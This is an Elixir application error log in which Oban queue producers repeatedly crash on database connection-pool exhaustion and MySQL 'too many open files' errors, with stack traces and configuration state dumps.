State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:01:02.249605Z], limit: 5, uuid: "ef377c2e-40b6-4ca4-a322-baf261dbca73", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:02.249614Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16552>, refresh_timer: #Reference<0.2525715032.1077673987.16529>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:14.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:01:02.264792Z], limit: 20, uuid: "f2dbc1f5-c35c-437d-9f66-4c614d36bb0a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:02.264798Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16551>, refresh_timer: #Reference<0.2525715032.1077673987.16540>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:14.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:01:02.262529Z], limit: 50, uuid: "ea92701b-c0cd-4add-816e-897abef27950", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:02.262544Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16556>, refresh_timer: #Reference<0.2525715032.1121189889.152643>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:14.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:01:02.264213Z], limit: 3, uuid: "e49c3078-7d4c-49c7-b2c8-79b1db8e322b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:02.264221Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16554>, refresh_timer: #Reference<0.2525715032.1068498948.43311>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:14.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:01:02.253502Z], limit: 5, uuid: "ca038749-4cd8-45b2-84c4-ce2825fb9a65", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:02.253513Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16553>, refresh_timer: #Reference<0.2525715032.1077673987.16526>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:14.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:01:02.258247Z], limit: 10, uuid: "2aa4d2e4-59b8-4c96-a513-8d412462f654", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:02.258259Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16555>, refresh_timer: #Reference<0.2525715032.1121189889.152629>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:16.598000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:17.809000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:18.632000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:19.388000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:20.521000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:23.787000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:26.222000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:01:14.239140Z], limit: 5, uuid: "db3872a8-1dc2-4f7e-891c-d66024f9b6b7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:14.239147Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16819>, refresh_timer: #Reference<0.2525715032.1077673987.16769>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:26.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:01:14.245778Z], limit: 10, uuid: "976c21aa-6f78-4956-8c0a-d2b0b21b5fce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:14.245783Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16821>, refresh_timer: #Reference<0.2525715032.1068498948.43506>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:01:14.241500Z], limit: 50, uuid: "9f1460c1-e518-47a9-bac3-56e03d5fc2ba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:01:14.241506Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16823>, refresh_timer: #Reference<0.2525715032.1068498948.43462>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:26.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
